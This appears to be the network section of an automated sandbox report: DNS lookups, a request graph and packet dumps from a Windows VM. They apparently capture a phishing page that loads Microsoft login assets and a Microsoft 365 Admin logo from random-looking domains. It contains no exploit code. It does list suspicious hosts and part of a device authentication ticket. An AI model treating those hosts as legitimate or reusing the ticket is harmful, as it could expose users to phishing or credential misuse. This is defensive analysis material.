Dec 18, 2024 21:11:02.466190100 CET	1.1.1.1	192.168.2.6	0xf734	No error (0)	static.wikia.nocookie.net	wikia.nocookie.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 21:11:02.466190100 CET	1.1.1.1	192.168.2.6	0xf734	No error (0)	wikia.nocookie.net		74.120.190.194	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:02.466190100 CET	1.1.1.1	192.168.2.6	0xf734	No error (0)	wikia.nocookie.net		74.120.190.204	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:02.466607094 CET	1.1.1.1	192.168.2.6	0x8e9d	No error (0)	static.wikia.nocookie.net	wikia.nocookie.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 21:11:03.921803951 CET	1.1.1.1	192.168.2.6	0x11de	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 18, 2024 21:11:03.924123049 CET	1.1.1.1	192.168.2.6	0x5568	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:05.179372072 CET	1.1.1.1	192.168.2.6	0x9255	No error (0)	_8443._https.5bsrfkftdtnvful9nm.ssaa.beauty			65	IN (0x0001)	false
Dec 18, 2024 21:11:05.179729939 CET	1.1.1.1	192.168.2.6	0x375	No error (0)	5bsrfkftdtnvful9nm.ssaa.beauty		172.67.150.25	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:05.179729939 CET	1.1.1.1	192.168.2.6	0x375	No error (0)	5bsrfkftdtnvful9nm.ssaa.beauty		104.21.96.3	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:07.292228937 CET	1.1.1.1	192.168.2.6	0xe77c	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:07.292228937 CET	1.1.1.1	192.168.2.6	0xe77c	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:07.292891979 CET	1.1.1.1	192.168.2.6	0x2d04	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 18, 2024 21:11:07.527384996 CET	1.1.1.1	192.168.2.6	0x1898	No error (0)	www.w3schools.com	cs837.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 21:11:07.527384996 CET	1.1.1.1	192.168.2.6	0x1898	No error (0)	cs837.wac.edgecastcdn.net		192.229.133.221	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:07.527503967 CET	1.1.1.1	192.168.2.6	0x74a	No error (0)	www.w3schools.com	cs837.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 21:11:07.677587986 CET	1.1.1.1	192.168.2.6	0x9f5f	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 21:11:07.677587986 CET	1.1.1.1	192.168.2.6	0x9f5f	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 21:11:07.677587986 CET	1.1.1.1	192.168.2.6	0x9f5f	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:07.678662062 CET	1.1.1.1	192.168.2.6	0x9d35	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 21:11:07.678662062 CET	1.1.1.1	192.168.2.6	0x9d35	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 21:11:08.006087065 CET	1.1.1.1	192.168.2.6	0xb143	No error (0)	kasumbo.com		108.178.43.142	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:10.133214951 CET	1.1.1.1	192.168.2.6	0xaf5a	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 21:11:10.133214951 CET	1.1.1.1	192.168.2.6	0xaf5a	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 21:11:10.133214951 CET	1.1.1.1	192.168.2.6	0xaf5a	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:10.134176016 CET	1.1.1.1	192.168.2.6	0x9453	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 21:11:10.134176016 CET	1.1.1.1	192.168.2.6	0x9453	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 21:11:25.266449928 CET	1.1.1.1	192.168.2.6	0x3951	No error (0)	ajx6f16w140.chiliesdigital.co.za		172.67.165.105	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:25.266449928 CET	1.1.1.1	192.168.2.6	0x3951	No error (0)	ajx6f16w140.chiliesdigital.co.za		104.21.81.229	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:25.266485929 CET	1.1.1.1	192.168.2.6	0xf005	No error (0)	ajx6f16w140.chiliesdigital.co.za			65	IN (0x0001)	false
Dec 18, 2024 21:11:28.861614943 CET	1.1.1.1	192.168.2.6	0x7173	No error (0)	ajx6f16w140.chiliesdigital.co.za		104.21.81.229	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:28.861614943 CET	1.1.1.1	192.168.2.6	0x7173	No error (0)	ajx6f16w140.chiliesdigital.co.za		172.67.165.105	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:28.861848116 CET	1.1.1.1	192.168.2.6	0xaaea	No error (0)	ajx6f16w140.chiliesdigital.co.za			65	IN (0x0001)	false
Dec 18, 2024 21:11:30.165144920 CET	1.1.1.1	192.168.2.6	0xbed0	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 21:11:30.165144920 CET	1.1.1.1	192.168.2.6	0xbed0	No error (0)	ooc-g2.tm-4.office.com		40.99.32.114	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:30.165144920 CET	1.1.1.1	192.168.2.6	0xbed0	No error (0)	ooc-g2.tm-4.office.com		40.99.70.226	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:30.165144920 CET	1.1.1.1	192.168.2.6	0xbed0	No error (0)	ooc-g2.tm-4.office.com		52.98.61.34	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:30.165144920 CET	1.1.1.1	192.168.2.6	0xbed0	No error (0)	ooc-g2.tm-4.office.com		40.99.68.34	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:30.165144920 CET	1.1.1.1	192.168.2.6	0xbed0	No error (0)	ooc-g2.tm-4.office.com		52.98.95.210	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:30.165144920 CET	1.1.1.1	192.168.2.6	0xbed0	No error (0)	ooc-g2.tm-4.office.com		40.99.70.178	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:30.165144920 CET	1.1.1.1	192.168.2.6	0xbed0	No error (0)	ooc-g2.tm-4.office.com		40.99.70.194	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:30.165144920 CET	1.1.1.1	192.168.2.6	0xbed0	No error (0)	ooc-g2.tm-4.office.com		52.98.32.2	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:30.165330887 CET	1.1.1.1	192.168.2.6	0x4e6d	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

static.wikia.nocookie.net

tse1.mm.bing.net

https:

cdnjs.cloudflare.com

kasumbo.com

www.w3schools.com

aadcdn.msftauth.net

ajx6f16w140.chiliesdigital.co.za

outlook.office365.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49713	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:00 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6b 33 6f 38 39 36 6c 2b 39 45 32 41 61 78 42 65 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 39 63 61 39 36 66 65 39 35 30 62 62 34 31 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: k3o896l+9E2AaxBe.1Context: 49ca96fe950bb412
2024-12-18 20:11:00 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-18 20:11:00 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6b 33 6f 38 39 36 6c 2b 39 45 32 41 61 78 42 65 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 39 63 61 39 36 66 65 39 35 30 62 62 34 31 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 4d 6f 6a 30 46 37 61 76 44 66 38 69 4e 77 69 34 66 44 4d 31 4e 4d 4e 39 59 31 6a 58 5a 61 50 4b 6b 6f 69 38 43 4a 35 69 55 69 6f 4e 69 4f 68 66 61 42 6b 54 51 75 6b 68 54 43 76 54 4b 2f 58 4c 78 6f 30 65 6e 50 79 59 6e 59 78 72 7a 31 2f 53 47 42 6d 62 69 38 66 70 2b 76 78 48 39 70 4b 49 77 6f 57 49 4f 72 69 4c 4f 6a 4c 6e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: k3o896l+9E2AaxBe.2Context: 49ca96fe950bb412<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASMoj0F7avDf8iNwi4fDM1NMN9Y1jXZaPKkoi8CJ5iUioNiOhfaBkTQukhTCvTK/XLxo0enPyYnYxrz1/SGBmbi8fp+vxH9pKIwoWIOriLOjLn
2024-12-18 20:11:00 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6b 33 6f 38 39 36 6c 2b 39 45 32 41 61 78 42 65 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 39 63 61 39 36 66 65 39 35 30 62 62 34 31 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: k3o896l+9E2AaxBe.3Context: 49ca96fe950bb412<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-18 20:11:01 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-18 20:11:01 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2b 38 37 74 4d 37 71 30 42 45 4b 4d 6e 75 31 66 64 50 49 4e 72 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: +87tM7q0BEKMnu1fdPINrg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49717	74.120.190.204	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:01 UTC	628	OUT	GET /logopedia/images/7/7f/Microsoft_365_Admin.png/revision/latest?cb=20241113153458 HTTP/1.1 Host: static.wikia.nocookie.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 20:11:02 UTC	1181	IN	HTTP/1.1 200 OK date: Fri, 06 Dec 2024 12:57:06 GMT surrogate-key: 3b19dea483cbdd142eadf86b0915dda773c61260 wiki-logopedia thumblr original v:production-20241003125710-10-g0bce454b content-disposition: inline; filename="Microsoft_365_Admin.webp"; filename=UTF-8''Microsoft_365_Admin.webp content-type: image/webp etag: "BWcXMIylC02hQkWXY8vkHw==" x-thumbnailer: Thumblr access-control-allow-origin: access-control-allow-headers: Range content-security-policy: default-src 'none'; script-src 'none'; img-src 'self'; media-src 'self'; style-src 'unsafe-inline'; sandbox; report-uri https://services.fandom.com/csp-logger/csp/thumblr cache-control: public, max-age=31536000 nel: {"report_to":"nel","max_age":604800,"failure_fraction":0.01} report-to: {"group":"nel","endpoints":[{"url":"https://services.fandom.com/browser-errors/report"}],"max_age":604800,"include_subdomains":true} content-length: 18290 x-envoy-upstream-service-time: 174 server: envoy x-cacheable: YES age: 1062835 accept-ranges: bytes vary: Accept x-cache: ORIGIN, HIT timing-allow-origin: * x-served-by: thumblr-799b89698-nmmws, wk-cdn-s12 x-cache-hits: ORIGIN, 78 connection: close
2024-12-18 20:11:02 UTC	13294	IN	Data Raw: 52 49 46 46 6a 47 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 10 00 00 00 f3 01 00 f3 01 00 41 4c 50 48 67 0f 00 00 01 14 c5 6d db 46 d6 fe 7b e7 4e da 67 44 4c 80 7e 30 79 a1 79 f4 03 c6 53 92 ac 31 2a d5 13 b7 ef 23 7a e0 ff 7f 91 d3 6c db 7e 33 b3 9b b5 24 10 22 68 94 a0 21 b8 bb 6b 0d ab 10 8a 43 52 8e 03 97 3a ee 5a 0f 0e 07 5a c5 8f 02 85 f0 6a 71 1a 0f 1e 81 46 b0 b8 ad cf cc ff 38 8e 13 09 bb 33 f3 fb cf 69 89 88 09 80 53 db b6 6b e5 8b f8 9f 20 80 0e 03 08 40 04 02 a8 a8 d2 0d 2f e7 f7 7a a2 36 1c e0 02 0b f3 8d df 44 44 40 b5 ff ab fd 5f ed ff 6a ff 57 fb bf da ff d5 fe af f6 7f b5 d4 0d 2d c7 7d b2 74 ee 20 5f 59 e2 ea 0c 9c bb ec d3 71 91 7a ca a6 69 f1 c9 3f 6f e6 e4 17 3e c9 b8 be ad 87 4e 6e f4 dd 63 13 32 9e 14 e6 e7 dc 3c 31 ab b1 86 9e f9 Data Ascii: RIFFjGWEBPVP8XALPHgmF{NgDL~0yyS1*#zl~3$"h!kCR:ZZjqF83iSk @/z6DD@_jW-}t _Yqzi?o>Nnc2<1
2024-12-18 20:11:02 UTC	4996	IN	Data Raw: 3b f9 c5 5f 4f ac 7a 09 1e 16 ec 13 a4 53 88 20 9d 1a e8 d6 c1 8c 19 aa 37 a3 19 7c 85 71 46 e0 2c 67 98 f7 21 88 77 6b 50 0e 15 32 12 22 c6 2a 34 d7 22 06 27 0e a5 f7 98 fe 56 f3 05 90 1e 10 12 bc 7f 8e 3d d3 77 02 23 15 ca 51 18 77 69 d7 56 41 89 1b a3 2e 97 bd b3 7a af 52 d9 74 3f fd dd 05 4a 9f 04 d8 9a 2b 69 f8 59 a1 fb 7f ee cc dc 7c ff 2e 89 1d 1c 64 2c 41 27 9c 26 7b 95 3b 57 00 0f 1b 46 ec f4 ae 41 15 9a 97 82 ba e2 08 58 86 99 24 37 13 5c 71 81 05 5c 9d e5 e7 1e e5 ba 55 ec cc 09 34 73 00 5d f9 57 2e 8b fa 92 c9 e4 5e e2 e3 56 b2 81 ff 39 94 4f e3 3d 0a 8e dc c0 0c 2e 07 7a 82 9e 41 9d 74 ec 0c 22 55 fd 12 16 b8 bc 3b f0 5f f2 48 59 94 0c 97 58 aa ba 7c c7 ed 12 14 f3 2a c8 82 23 4e 0d 2f db 09 cf 82 e4 88 95 bd f0 ca f4 77 1d 1c 40 bb 92 d5 b3 Data Ascii: ;_OzS 7\|qF,g!wkP2"4"'V=w#QwiVA.zRt?J+iY\|.d,A'&{;WFAX$7\q\U4s]W.^V9O=.zAt"U;_HYX\|#N/w@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49723	74.120.190.194	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:03 UTC	428	OUT	GET /logopedia/images/7/7f/Microsoft_365_Admin.png/revision/latest?cb=20241113153458 HTTP/1.1 Host: static.wikia.nocookie.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 20:11:04 UTC	1139	IN	HTTP/1.1 200 OK date: Wed, 13 Nov 2024 22:31:30 GMT surrogate-key: 3b19dea483cbdd142eadf86b0915dda773c61260 wiki-logopedia thumblr original content-disposition: inline; filename="Microsoft_365_Admin.png"; filename=UTF-8''Microsoft_365_Admin.png content-type: image/png etag: "bqtH5ho5IHcj+1pry6aFTg==" x-thumbnailer: Thumblr access-control-allow-origin: access-control-allow-headers: Range content-security-policy: default-src 'none'; script-src 'none'; img-src 'self'; media-src 'self'; style-src 'unsafe-inline'; sandbox; report-uri https://services.fandom.com/csp-logger/csp/thumblr cache-control: public, max-age=31536000 nel: {"report_to":"nel","max_age":604800,"failure_fraction":0.01} report-to: {"group":"nel","endpoints":[{"url":"https://services.fandom.com/browser-errors/report"}],"max_age":604800,"include_subdomains":true} content-length: 97739 x-envoy-upstream-service-time: 154 server: envoy x-cacheable: YES age: 3015573 accept-ranges: bytes vary: Accept x-cache: ORIGIN, HIT timing-allow-origin: * x-served-by: thumblr-5f9ff866b6-qnm59, wk-cdn-s12 x-cache-hits: ORIGIN, 737 connection: close
2024-12-18 20:11:04 UTC	13336	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 f4 00 00 01 f4 08 06 00 00 00 cb d6 df 8a 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec bd 09 b8 65 47 59 2e fc d6 9a f6 74 a6 1e d3 99 c8 4c c8 1c 48 87 90 28 c4 40 18 c2 28 04 72 ef 03 28 20 ca 20 a2 a0 e0 05 d1 7b 03 88 38 cb af 08 57 f4 a2 32 09 88 7a 51 64 72 c8 2f 01 c4 90 40 42 12 08 74 27 e9 a4 d3 73 f7 e9 d3 e7 9c 3d ac a9 ea 3e 5f d5 5a 7b 3a 7b ef b5 d6 3e 1d 48 f6 fe 76 9e ce e9 3e bb d6 5a 55 6f d5 aa b7 be 59 80 3f 8c 00 23 c0 08 30 02 8c 00 23 f0 a8 47 40 3c ea 47 c0 03 60 04 18 01 46 80 11 60 04 18 01 30 a1 f3 22 60 04 18 01 46 80 11 60 04 26 00 01 26 f4 09 98 44 1e 02 23 c0 08 30 02 8c 00 23 c0 84 ce 6b 80 11 60 04 18 01 46 80 11 98 00 04 98 d0 27 60 12 79 Data Ascii: PNGIHDRsRGB IDATx^eGY.tLH(@(r( {8W2zQdr/@Bt's=>_Z{:{>Hv>ZUoY?#0#G@<G`F`0"`F`&&D#0#k`F'`y
2024-12-18 20:11:04 UTC	16320	IN	Data Raw: 65 ad 71 4a 1b f5 cc 41 12 7e f6 1c 8f 9a 89 62 07 9a b5 7d 1b bc 05 f6 6b 30 f2 1c 66 b2 b0 5e 73 0f bd f6 e8 0f 91 b7 49 ec a6 50 4a de 2f 8a 32 89 e1 50 ba f6 48 c2 b5 4b 88 a2 08 b6 20 17 55 85 d8 8f 70 a6 1b ef fe a5 2b 4f 7e ea 55 65 b1 33 6b ad f2 f7 d3 81 00 13 fa 74 cc 73 ae 51 de ab d4 fc fb 6e d9 f3 86 83 95 85 df 5c b5 5d 11 40 9a cd 5a 93 37 fd b1 10 eb 44 18 02 b6 b6 9d 8f fe 18 09 2a 2b ac 27 1f a1 0f df 2c b3 37 f4 91 1b ed 98 84 9e 67 f3 1e 86 4e 5e 42 5f cf 33 f2 4a 9b eb ad 56 96 e9 63 d0 05 c2 40 09 3d 67 51 96 e1 58 e6 df c2 06 e3 39 da ff 23 33 ca 21 e9 58 de b9 ea 69 d7 45 e8 56 42 e8 31 28 05 b3 05 65 19 42 b7 a5 44 14 86 f0 dc 9a 8e 88 f0 2c a0 24 14 66 1c 27 2e 1f ba ff ed bf f5 dc 8b ff ec 1c 0e 55 cb da 8a a6 e6 fb fc 6f c3 d4 Data Ascii: eqJA~b}k0f^sIPJ/2PHK Up+O~Ue3ktsQn\]@Z7D*+',7gN^B_3JVc@=gQX9#3!XiEVB1(eBD,$f'.Uo
2024-12-18 20:11:04 UTC	16320	IN	Data Raw: 16 10 78 c0 6d eb 77 e3 27 77 3c 88 3b 77 25 a8 78 2b 51 47 41 5c ef 45 23 82 65 26 88 ad 04 21 35 df 2d b7 91 3a 37 e1 f5 3a c4 d0 f5 39 ba 0f f3 62 e8 79 4d d6 cf f8 4b 05 f0 10 d1 c3 96 24 58 e6 62 74 3f 54 2e ff ee 9b 8e f8 50 de f7 2e 7c 3e 37 5b 60 3e 03 fa 9a 9b 37 c5 13 f2 d0 a7 d3 45 fd 93 e2 7a fb d6 c9 13 78 fa 80 ce ce d7 0c f2 d8 a0 2b 5b d8 6d e2 fe a6 4c 24 27 bc 16 d2 68 c4 08 53 12 9c b8 dc 0d c0 21 3d 3d 89 64 51 b0 4d 03 ae ed 20 0e 7c 04 41 00 db 52 c2 1e 0d 0b 26 1d 6d 9a a8 44 37 3a d9 b8 3c 81 04 bc c8 24 69 47 6d 17 94 da 19 79 ba 96 78 0a 0c 02 be 95 61 16 33 6d 88 a0 22 ee f8 ee c5 39 7a 6b ed fc b3 fb 59 50 05 18 f3 bf 62 22 4e 4c 7a d7 34 14 31 81 14 d7 b4 d0 5b 01 9d d2 af 74 b9 eb 3c 74 0d e8 da e5 3e df 00 9d c0 4c 9e 87 4b Data Ascii: xmw'w<;w%x+QGA\E#e&!5-:7:9byMK$Xbt?T.P.\|>7[`>7Ezx+[mL$'hS!==dQM \|AR&mD7:<$iGmyxa3m"9zkYPb"NLz41[t<t>LK
2024-12-18 20:11:04 UTC	16320	IN	Data Raw: 17 d0 67 c8 42 df d3 80 ae 40 97 2e ec 00 09 85 a5 13 82 3c dd db 05 59 30 cc a0 02 d7 b3 50 0b aa 40 41 a5 ca 14 82 31 1c 50 df 82 cf 9f 75 1a 8e dd 0f 58 4a a0 4d 0b 9c 08 4c 46 01 4c d3 91 ea 69 cc 45 cf 02 fa 04 eb 18 26 fc 04 78 bc 06 9c f9 f5 3b f1 83 5b 1e 43 61 d9 6a 54 82 84 95 3a 60 7b 4a 65 4c 22 df 71 28 d6 88 56 6d 6b 02 ba cb 04 72 14 99 96 1b 32 6c 10 e0 f0 81 3a 7e 78 d1 ab b1 4a c7 ef 53 f7 7c d6 3b de 00 74 71 75 aa 7c 54 01 f4 90 1e 86 34 d9 cd b0 41 6e fe 37 6e d8 81 bf ff ea af 50 1d 38 10 a0 e6 36 12 e1 19 58 a6 56 41 eb 3c cd f6 76 40 6f 47 8a a3 cb b7 5a ae a0 5a 2d 0b 29 8e 20 ae 63 e5 1a a8 75 21 16 71 7a b4 91 7c 6d 2c b2 f3 3c 86 ae eb 0f b2 48 0b 47 3a 01 bb 16 9b 88 dc 21 dc b5 79 14 5f bd e6 76 8c 95 96 23 b4 07 11 db 1e 62 Data Ascii: gB@.<Y0P@A1PuXJMLFLiE&x;[CajT:`{JeL"q(Vmkr2l:~xJS\|;tqu\|T4An7nP86XVA<v@oGZZ-) cu!qz\|m,<HG:!y_v#b
2024-12-18 20:11:04 UTC	16320	IN	Data Raw: a2 7a 6f b3 c7 00 d0 7b 6b b7 4e 8f 6a 4e 75 d3 fd 54 3e 37 4c 54 03 f6 13 03 c3 ae 85 a1 72 1e a5 a1 61 d8 f9 12 22 2b a7 18 e8 7e 15 a5 bc 83 30 98 c6 74 6c a1 e2 0e e3 b7 7f 5c 85 cb 7f 76 23 72 07 1c 26 d6 79 60 27 b5 cd 29 35 c8 b8 b9 e5 26 42 4c a6 d4 40 af 03 3a 07 9a 80 bb ea 78 6a 3e e9 be 07 f4 0b fc fa 78 a5 a7 a0 ac 6b 16 53 36 7c 1f ae b8 c3 4d d1 9d 8f 4d 23 ae 8c 8f 47 a3 e5 52 6c 84 51 1c c7 61 1c 18 71 6c f9 5e bc 0c 66 5c b6 03 af 98 0b 37 1a 86 77 7f 1c 07 9b 4c 23 5e 67 c4 d1 46 13 e1 6a 23 f6 99 13 be dd 5e 1e 8c 7d e7 ec b3 07 ae f1 4e 3b 6c 9f fb 2d 58 40 ef c6 e5 de 7e 00 f5 03 e8 7c 7b 69 50 e7 b9 98 30 45 74 76 05 d8 0d 32 b0 e9 c2 22 59 2e 22 3d c4 c2 f2 78 17 be f4 e6 e7 e0 a9 8f 04 68 84 26 aa ad f5 ae c0 fb d5 ae c6 76 fd 43 Data Ascii: zo{kNjNuT>7LTra"+~0tl\v#r&y`')5&BL@:xj>xkS6\|MM#GRlQaql^f\7wL#^gFj#^}N;l-X@~\|{iP0Etv2"Y."=xh&vC
2024-12-18 20:11:04 UTC	16320	IN	Data Raw: 22 38 92 41 78 ed 9a b4 90 46 76 53 20 9e 8f 29 75 59 f3 b8 48 45 6b d6 27 57 ee 05 c5 fa 96 85 df 7e 01 bd f3 1c 58 6e da 5a ff 80 de be a1 a0 71 47 8b 0a b1 36 1a e0 60 10 9c 3f 0b 6b 1c ef f6 a7 ee 3f fa de 0b 9e 77 dc b7 4e d8 9f 35 1e 8d f7 42 df 73 b0 24 a0 01 7d b0 c6 f3 51 ef cd 11 2f 7d c3 9f 9a 53 07 fe ec ee ad b3 30 32 b9 0a 78 28 68 47 7a 1d d9 05 2c 05 c0 94 32 b5 b7 86 94 07 c4 44 f8 d2 e3 c8 4b 3b a2 32 9c 99 43 3d af f5 ae e2 a4 16 20 56 ae 7b f4 e2 67 ec e6 a8 c1 67 83 e0 d2 3c f9 74 23 d0 04 7e bc a7 48 83 c3 44 c3 d6 86 a4 31 06 2a 92 3b e5 1c 6f 6a d8 c2 4c 8e 40 29 00 1b cd e7 80 11 e9 ca 84 ce 90 0d 4e d4 01 57 7e 71 24 8e 21 73 3c 06 33 4a 73 76 d3 a7 ae b4 f2 66 10 1c 6a fc 8a b7 1f 9b a0 22 d2 95 d9 1d 99 ce a8 1f 14 f1 2e cc e9 Data Ascii: "8AxFvS )uYHEk'W~XnZqG6`?k?wN5Bs$}Q/}S02x(hGz,2DK;2C= 